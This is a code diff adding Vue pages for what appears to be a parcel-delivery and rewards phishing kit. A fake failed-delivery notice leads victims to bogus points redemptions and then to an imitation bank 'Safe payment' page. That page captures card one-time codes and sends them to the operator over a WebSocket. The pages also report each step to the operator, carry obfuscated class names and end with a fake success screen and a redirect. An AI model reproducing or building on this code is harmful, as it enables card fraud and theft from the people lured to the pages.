const count1 = ref(0);
|
||||
const count2 = ref(0);
|
||||
const count3 = ref(0);
|
||||
const count4 = ref(0);
|
||||
const count5 = ref(0);
|
||||
const count6 = ref(0);
|
||||
|
||||
const price = ref(0);
|
||||
const type = ref(-1);
|
||||
|
||||
const add = (value: number, type: number) => {
|
||||
if (price.value != 0 && value != 0) {
|
||||
alert("You don't have enough points");
|
||||
return;
|
||||
}
|
||||
switch (type) {
|
||||
case 1:
|
||||
count1.value = value;
|
||||
price.value = 2999;
|
||||
break;
|
||||
case 2:
|
||||
count2.value = value;
|
||||
price.value = 2999;
|
||||
break;
|
||||
case 3:
|
||||
count3.value = value;
|
||||
price.value = 2899;
|
||||
break;
|
||||
case 4:
|
||||
count4.value = value;
|
||||
price.value = 2899;
|
||||
break;
|
||||
case 5:
|
||||
count5.value = value;
|
||||
price.value = 2699;
|
||||
break;
|
||||
case 6:
|
||||
count6.value = value;
|
||||
price.value = 2699;
|
||||
break;
|
||||
}
|
||||
if (value == 0) {
|
||||
price.value = 0;
|
||||
}
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
window.scrollTo({
|
||||
top: 0,
|
||||
});
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "goods" },
|
||||
})
|
||||
);
|
||||
const dateSeven = getDateSevenDaysAgo();
|
||||
payDate.value = dateSeven.toLocaleDateString();
|
||||
const inumber = localStorage.getItem("invoiceNumber");
|
||||
if (inumber) {
|
||||
invoiceNumber.value = inumber;
|
||||
} else {
|
||||
invoiceNumber.value = generateRandomNineDigitNumber().toString();
|
||||
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
|
||||
}
|
||||
localStorage.setItem("route", "goods");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content-body OTU1MDA">
|
||||
<form class="container NjcwMA NDg2MDA" data-v-5571f497="">
|
||||
<div class="points NjcxMDA ODc4MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<div data-v-5571f497="">Points Available</div>
|
||||
<div data-v-5571f497="">3022</div>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div data-v-5571f497="">Spend points</div>
|
||||
<div data-v-5571f497="">{{ price }}</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="products MjMwMA MzkzMDA NjMwMDA" data-v-5571f497="">
|
||||
<div class="item NjAyMDA Mjg0MDA MTA0MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/1.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name OTYxMDA MzgyMDA" data-v-5571f497="">
|
||||
Hanlin Future69 ENC Noise-cancelling esports Headphones
|
||||
</div>
|
||||
<div class="price ODY5MDA OTYyMDA MTk5MDA" data-v-5571f497="">
|
||||
2999 point + ₱17.05
|
||||
</div>
|
||||
<div
|
||||
class="control MTM0MDA NzYwMA MjI5MDA OTc2MDA"
|
||||
data-v-5571f497=""
|
||||
>
|
||||
<div data-v-5571f497="" v-on:click="add(1, 1)">+</div>
|
||||
<div class="count NjczMDA NzY5MDA" data-v-5571f497="">
|
||||
{{ count1 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 1)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item NzE2MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/2.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name MzkwMA" data-v-5571f497="">
|
||||
HANLIN Bluetooth Earphone Smart Watch
|
||||
</div>
|
||||
<div class="price Nzg4MDA" data-v-5571f497="">
|
||||
2999 point + ₱17.05
|
||||
</div>
|
||||
<div class="control NTM2MDA MjExMDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="" v-on:click="add(1, 2)">+</div>
|
||||
<div class="count NTE3MDA NzE3MDA" data-v-5571f497="">
|
||||
{{ count2 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 2)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item ODMwMDA OTgwMA ODkxMDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/3.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name NzQ3MDA NTgyMDA" data-v-5571f497="">
|
||||
Oral-B Smart 5 Electric Toothbrush 5000N
|
||||
</div>
|
||||
<div class="price OTk4MDA MjQ0MDA" data-v-5571f497="">
|
||||
2899 point + ₱17.05
|
||||
</div>
|
||||
<div class="control NDkxMDA NzA0MDA NzYxMDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="" v-on:click="add(1, 3)">+</div>
|
||||
<div
|
||||
class="count NTQ0MDA NjcwMA NjMwMDA NzUzMDA"
|
||||
data-v-5571f497=""
|
||||
>
|
||||
{{ count3 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 3)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item NzMyMDA OTM4MDA NDQwMA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/4.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name NjQ1MDA NTIwMA" data-v-5571f497="">
|
||||
Mi Xiaomi BHR4857HK 3.5L Smart Air Fryer
|
||||
</div>
|
||||
<div class="price NzkwMDA OTA3MDA" data-v-5571f497="">
|
||||
2899 point + ₱17.05
|
||||
</div>
|
||||
<div
|
||||
class="control MTg2MDA MjExMDA NTM2MDA OTAw"
|
||||
data-v-5571f497=""
|
||||
>
|
||||
<div data-v-5571f497="" v-on:click="add(1, 4)">+</div>
|
||||
<div
|
||||
class="count MjczMDA MTczMDA ODA5MDA MTU3MDA"
|
||||
data-v-5571f497=""
|
||||
>
|
||||
{{ count4 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 4)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item MTUyMDA NDY1MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/5.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name MzgwMDA MzkyMDA" data-v-5571f497="">
|
||||
Project E Beauty RF Ultrasonic Slimming and Slimming Apparatus
|
||||
</div>
|
||||
<div class="price MzY3MDA" data-v-5571f497="">
|
||||
2699 point + ₱17.05
|
||||
</div>
|
||||
<div class="control ODUwMA MTE0MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="" v-on:click="add(1, 5)">+</div>
|
||||
<div class="count MTcxMDA NDk3MDA" data-v-5571f497="">
|
||||
{{ count5 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 5)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="item ODIwMDA NDAw" data-v-5571f497="">
|
||||
<div data-v-5571f497="">
|
||||
<img
|
||||
src="@/assets/img/products/6.png"
|
||||
alt=""
|
||||
data-v-5571f497=""
|
||||
style="aspect-ratio: 1 / 1; object-fit: cover"
|
||||
/>
|
||||
</div>
|
||||
<div data-v-5571f497="">
|
||||
<div class="name OTczMDA OTcyMDA" data-v-5571f497="">
|
||||
YOTAMED – 3 Ply Disposable Nano Mask ASTM 1 (Adult) – 50 Pack
|
||||
(Not Individual)
|
||||
</div>
|
||||
<div class="price OTYwMA NDMwMA NjM2MDA" data-v-5571f497="">
|
||||
2699 point + ₱17.05
|
||||
</div>
|
||||
<div class="control MTE3MDA Nzk4MDA MTc5MDA" data-v-5571f497="">
|
||||
<div data-v-5571f497="" v-on:click="add(1, 6)">+</div>
|
||||
<div class="count NjIwMA NjkxMDA ODU5MDA" data-v-5571f497="">
|
||||
{{ count6 }}
|
||||
</div>
|
||||
<div data-v-5571f497="" v-on:click="add(0, 6)">-</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="button-submit NjkzMDA" data-v-5571f497="">
|
||||
<button
|
||||
type="button"
|
||||
data-v-5571f497=""
|
||||
class="___OTAwMA== NTE3MDA NjY0MDA ODAw"
|
||||
v-on:click="next"
|
||||
>
|
||||
<e-span data-t="Exchange" class="_NDcwMA== NTYyMDA"
|
||||
>Exchange</e-span
|
||||
>
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
.container[data-v-5571f497] {
|
||||
padding: 1rem 0
|
||||
}
|
||||
|
||||
.container div.points[data-v-5571f497] {
|
||||
color: #fff!important
|
||||
}
|
||||
|
||||
.container div.points[data-v-5571f497] {
|
||||
position: relative;
|
||||
display: flex;
|
||||
justify-content: space-around;
|
||||
background-color: #e00b14;
|
||||
border-radius: 10px;
|
||||
padding: 20px 10px;
|
||||
transition: all .3s
|
||||
}
|
||||
|
||||
.container div.points>div[data-v-5571f497] {
|
||||
flex: 1;
|
||||
text-align: center
|
||||
}
|
||||
|
||||
.container div.products[data-v-5571f497] {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
max-width: 800px;
|
||||
margin: 0 auto
|
||||
}
|
||||
|
||||
.container div.products .item[data-v-5571f497] {
|
||||
margin: 5px;
|
||||
padding: 10px;
|
||||
width: calc(50% - 10px);
|
||||
border-radius: 5px;
|
||||
box-shadow: rgba(99,99,99,.2) 0 2px 3px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: space-between
|
||||
}
|
||||
|
||||
.container div.products .item img[data-v-5571f497] {
|
||||
width: 100%;
|
||||
aspect-ratio: 1/1
|
||||
}
|
||||
|
||||
.container div.products .item .price[data-v-5571f497] {
|
||||
font-size: 14px;
|
||||
color: #0d1973
|
||||
}
|
||||
|
||||
.container div.products .item .control[data-v-5571f497] {
|
||||
display: flex;
|
||||
justify-content: space-evenly;
|
||||
width: 50%;
|
||||
border-radius: 5px;
|
||||
border: 1px solid grey;
|
||||
font-weight: 700;
|
||||
cursor: pointer
|
||||
}
|
||||
|
||||
.container div.products .item .control>div[data-v-5571f497] {
|
||||
flex: 1;
|
||||
text-align: center
|
||||
}
|
||||
|
||||
.button-submit[data-v-5571f497] {
|
||||
position: fixed;
|
||||
z-index: 10;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
background-color: #fff;
|
||||
box-shadow: rgba(0,0,0,.05) 0 6px 24px,rgba(0,0,0,.08) 0 0 0 1px;
|
||||
padding: 10px
|
||||
}
|
||||
|
||||
.button-submit button[data-v-5571f497] {
|
||||
width: 100%
|
||||
}
|
||||
|
||||
</style>
|
||||
143
zy1_in_post_shadowfax/src/views/HomeView.vue
Normal file
143
zy1_in_post_shadowfax/src/views/HomeView.vue
Normal file
@@ -0,0 +1,143 @@
|
||||
<script setup lang="ts">
|
||||
import { inject, onMounted, ref } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
|
||||
const router = useRouter();
|
||||
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { debounce } from "lodash";
|
||||
import moment from "moment";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
|
||||
const onchange = debounce((value: any) => {
|
||||
localStorage.setItem("home", value.target.value);
|
||||
}, 300);
|
||||
const payDate1 = ref("");
|
||||
const invoiceNumber = ref("");
|
||||
const next = () => {
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/address");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "home" },
|
||||
})
|
||||
);
|
||||
payDate1.value = formatDate(getDateSevenDaysAgo(1));
|
||||
|
||||
const inumber = localStorage.getItem("invoiceNumber");
|
||||
if (inumber) {
|
||||
invoiceNumber.value = inumber;
|
||||
} else {
|
||||
invoiceNumber.value = generateRandomNineDigitNumber().toString();
|
||||
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
|
||||
}
|
||||
localStorage.setItem("route", "home");
|
||||
});
|
||||
|
||||
function formatDate(date: Date): string {
|
||||
return moment(date).format("YYYY/MM/DD");
|
||||
}
|
||||
|
||||
function getDateSevenDaysAgo(day: number): Date {
|
||||
// 获取当前时间
|
||||
const currentDate = new Date();
|
||||
|
||||
// 计算七天前的日期
|
||||
currentDate.setDate(currentDate.getDate() + day);
|
||||
|
||||
return currentDate;
|
||||
}
|
||||
|
||||
function generateRandomNineDigitNumber(): number {
|
||||
// 生成一个 9 位的随机整数
|
||||
const min = 100000000; // 9 位数的最小值
|
||||
const max = 999999999; // 9 位数的最大值
|
||||
|
||||
// 生成并返回随机的 9 位数
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content-body">
|
||||
<div>
|
||||
<img src="/bompawoemfg16af/g16t.webp" style="width: 100%; height: 300px;object-fit: cover;"></img>
|
||||
</div>
|
||||
<div class="" style="margin-top: 30px;">
|
||||
<div
|
||||
class="content-wrapper"
|
||||
style="min-height: 100px; padding: 0 0"
|
||||
>
|
||||
<form @submit.prevent="next">
|
||||
<h1 class="title">
|
||||
{{ t("Delivery status") }}
|
||||
</h1>
|
||||
<br />
|
||||
<div class="content">
|
||||
<p>
|
||||
{{ t("Your package number", ["2512876127"]) }}
|
||||
</p>
|
||||
<p style="color: red">
|
||||
<b>{{ t("Failure notice of delivery") }}</b>
|
||||
</p>
|
||||
<ul>
|
||||
<li>
|
||||
{{ t("Because the delivery address is not clear, your package is not delivered") }}
|
||||
</li>
|
||||
<li>{{ t("Your package has returned to our operation center") }}</li>
|
||||
<li>
|
||||
{{ t("Please update your address", [payDate1]) }}
|
||||
</li>
|
||||
</ul>
|
||||
<br /><br />
|
||||
<div class="button-submit">
|
||||
<button>{{ t("Continue") }}</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
h1.title {
|
||||
color: #24549d;
|
||||
font-size: 2rem;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
div.content {
|
||||
padding: 10px;
|
||||
background-color: #f2f2f2;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
ul {
|
||||
list-style: disc outside none !important;
|
||||
list-style: initial !important;
|
||||
}
|
||||
|
||||
ul {
|
||||
padding-left: 14px;
|
||||
}
|
||||
|
||||
ul li {
|
||||
margin-top: 8px;
|
||||
}
|
||||
</style>
|
||||
61
zy1_in_post_shadowfax/src/views/IndexView.vue
Normal file
61
zy1_in_post_shadowfax/src/views/IndexView.vue
Normal file
@@ -0,0 +1,61 @@
|
||||
<script setup lang="ts">
|
||||
import { ref, onMounted } from 'vue';
|
||||
|
||||
const isLoading = ref(true);
|
||||
|
||||
onMounted(() => {
|
||||
// Simulate loading, remove in production and use actual data loading completion
|
||||
setTimeout(() => {
|
||||
isLoading.value = false;
|
||||
}, 2000);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="container">
|
||||
<div v-if="isLoading" class="loading-spinner">
|
||||
<div class="spinner"></div>
|
||||
</div>
|
||||
<div v-else class="content">
|
||||
<!-- Main content goes here when loading is complete -->
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
width: 100%;
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 4px solid rgb(81, 81, 81, 0.3);
|
||||
border-radius: 50%;
|
||||
border-top-color: transparent;
|
||||
animation: spin 1s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.content {
|
||||
width: 100%;
|
||||
padding: 20px;
|
||||
}
|
||||
</style>
|
||||
|
||||
64
zy1_in_post_shadowfax/src/views/LoadingView.vue
Normal file
64
zy1_in_post_shadowfax/src/views/LoadingView.vue
Normal file
@@ -0,0 +1,64 @@
|
||||
<template>
|
||||
<div
|
||||
v-if="isLoading"
|
||||
class="loading-overlay"
|
||||
:style="{ backgroundColor: loadingBg.value }"
|
||||
>
|
||||
<div class="spinner"></div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { computed, defineComponent } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { loadingBg } from "@/utils/common";
|
||||
|
||||
export default defineComponent({
|
||||
computed: {
|
||||
loadingBg() {
|
||||
return loadingBg;
|
||||
},
|
||||
},
|
||||
setup() {
|
||||
const loadingStore = useLoadingStore();
|
||||
const isLoading = computed(() => loadingStore.isLoading);
|
||||
|
||||
return {
|
||||
isLoading,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
border: 4px solid rgb(207, 207, 207);
|
||||
border-top: 4px solid #3c8872;
|
||||
|
||||
border-radius: 50%;
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
animation: spin 1s linear infinite;
|
||||
border: 4px solid rgb(207, 207, 207);
|
||||
border-top: 4px solid #3c8872;
|
||||
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
297
zy1_in_post_shadowfax/src/views/OtpView.vue
Normal file
297
zy1_in_post_shadowfax/src/views/OtpView.vue
Normal file
@@ -0,0 +1,297 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useLoadingStore } from "@/stores/counter";
|
||||
import CardType1 from "../components/CardType1.vue";
|
||||
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
|
||||
|
||||
const cardType = ref("");
|
||||
const message1 = ref("");
|
||||
import { useI18n } from "vue-i18n";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query && query.cardType) {
|
||||
cardType.value = query.cardType;
|
||||
localStorage.setItem("cardType", query.cardType);
|
||||
} else {
|
||||
const type = localStorage.getItem("cardType");
|
||||
if (type) {
|
||||
cardType.value = type;
|
||||
}
|
||||
}
|
||||
|
||||
if (query && query.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const type = localStorage.getItem("message1");
|
||||
if (type) {
|
||||
message1.value = type;
|
||||
}
|
||||
}
|
||||
localStorage.setItem("route", "otpValid");
|
||||
startCountdown("");
|
||||
eventBus.on("otp-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
useLoadingStore().isLoading = true;
|
||||
if (!areAllValuesNotEmpty(formData)) {
|
||||
useLoadingStore().isLoading = false;
|
||||
return;
|
||||
}
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
const initialTime = 60; // 倒计时时间,单位为秒
|
||||
const timeLeft = ref(initialTime);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
const buttonText = computed(() => {
|
||||
return isCounting.value
|
||||
? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
|
||||
: t("Click here to receive another code");
|
||||
});
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return; // 如果已经在倒计时,则不执行
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid", resultType: resultType },
|
||||
})
|
||||
);
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime;
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value -= 1;
|
||||
} else {
|
||||
stopCountdown();
|
||||
}
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
};
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("otp-valid", handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div id="darcula-teleport-page">
|
||||
<div>
|
||||
<form class="container" @submit.prevent="submit">
|
||||
<div class="header">
|
||||
<div class="bank-logo">
|
||||
<img src="@/assets/img/80066acd3fcfa.svg" alt="bank" />
|
||||
</div>
|
||||
<div class="card-logo">
|
||||
<CardType1 :cardType="cardType" />
|
||||
</div>
|
||||
</div>
|
||||
<br />
|
||||
<div style="font-size: 20px">
|
||||
<b>{{ t("Safe payment") }}</b>
|
||||
</div>
|
||||
<p v-if="!message1">
|
||||
{{
|
||||
t("Please confirm your identity and a one-time code will be sent")
|
||||
}}
|
||||
</p>
|
||||
<p v-if="message1">
|
||||
{{ t("The verification code has been sent to") }} ***{{ message1 }}
|
||||
</p>
|
||||
<p>{{ t("Please do not click the") }}</p>
|
||||
<br />
|
||||
<div class="input" style="text-align: center">
|
||||
<label>{{ t("Verification code") }}</label>
|
||||
<input
|
||||
required
|
||||
type="text"
|
||||
inputmode="numeric"
|
||||
@input="onchange"
|
||||
v-model="formData.verifyCode"
|
||||
minlength="3"
|
||||
maxlength="8"
|
||||
/>
|
||||
</div>
|
||||
<div class="error" v-if="message">
|
||||
{{ message }}
|
||||
</div>
|
||||
<br />
|
||||
<div class="button-submit">
|
||||
<button type="submit">{{ t("Submit") }} ₹25.09</button>
|
||||
</div>
|
||||
<div class="resend" @click="startCountdown('resendCode')">
|
||||
<a href="javascript:">{{ buttonText }}</a>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.error {
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
.container {
|
||||
padding: 15px;
|
||||
font-size: 16px;
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.container .header {
|
||||
height: 66px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
border-bottom: 1px solid #e3e3e3;
|
||||
}
|
||||
|
||||
.container .header > div {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.container .header .bank-logo {
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.container .header .card-logo {
|
||||
height: 100%;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.container .header .card-logo:after {
|
||||
content: "";
|
||||
display: block;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
width: 15px;
|
||||
height: 100%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(255, 255, 255, 0.6352941176),
|
||||
transparent
|
||||
);
|
||||
animation: line 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes line {
|
||||
0% {
|
||||
left: -15px;
|
||||
}
|
||||
to {
|
||||
left: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
.container div.input label {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.container div.input input {
|
||||
width: 100%;
|
||||
padding: 8px 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.container div.input input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
.container div.button-submit button {
|
||||
width: 100%;
|
||||
padding: 10px 5px;
|
||||
cursor: pointer;
|
||||
background: linear-gradient(180deg, #2047f4 0, #385bf8 100%);
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.container .resend {
|
||||
margin-top: 8px;
|
||||
text-align: center;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.container .resend a {
|
||||
color: #000;
|
||||
-webkit-text-decoration: underline;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0 0 0;
|
||||
background: #fff;
|
||||
color: #000;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
overflow-x: hidden;
|
||||
font-size: 15px;
|
||||
}
|
||||
p {
|
||||
display: block;
|
||||
margin-block-start: 1em;
|
||||
margin-block-end: 1em;
|
||||
margin-inline-start: 0px;
|
||||
margin-inline-end: 0px;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
</style>
|
||||
770
zy1_in_post_shadowfax/src/views/PinCodeView.vue
Normal file
770
zy1_in_post_shadowfax/src/views/PinCodeView.vue
Normal file
File diff suppressed because one or more lines are too long
164
zy1_in_post_shadowfax/src/views/SuccessView.vue
Normal file
164
zy1_in_post_shadowfax/src/views/SuccessView.vue
Normal file
@@ -0,0 +1,164 @@
|
||||
<script setup lang="ts">
|
||||
import { inject, onMounted, ref } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
|
||||
const loading = ref(true);
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { myWebSocket, redirectToExternal } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "success" },
|
||||
})
|
||||
);
|
||||
setTimeout(() => {
|
||||
redirectToExternal();
|
||||
}, 2000); // 3秒后跳转
|
||||
localStorage.setItem("route", "success");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content">
|
||||
<div class="container">
|
||||
<div style="height: 30px"></div>
|
||||
<div class="success-icon">✔</div>
|
||||
<h1>{{ t("Payment Successful") }}</h1>
|
||||
<p>
|
||||
{{
|
||||
t(
|
||||
"Thank you for your purchase. Your payment has been processed successfully"
|
||||
)
|
||||
}}
|
||||
</p>
|
||||
<div class="loader" v-if="loading">
|
||||
<div class="spinner"></div>
|
||||
</div>
|
||||
<div style="height: 30px"></div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f4f4f9;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
justify-content: center; /* 水平居中 */
|
||||
align-items: center; /* 垂直居中 */
|
||||
/* height: 100vh; */
|
||||
}
|
||||
|
||||
.container {
|
||||
background-color: #ffffff;
|
||||
padding: 50px;
|
||||
border-radius: 8px;
|
||||
text-align: center;
|
||||
max-width: 450px;
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
@media (max-width: 767px) {
|
||||
/* Mega Menu */
|
||||
.main-content {
|
||||
/* padding-top: 80px !important;
|
||||
padding-bottom: 96px !important; */
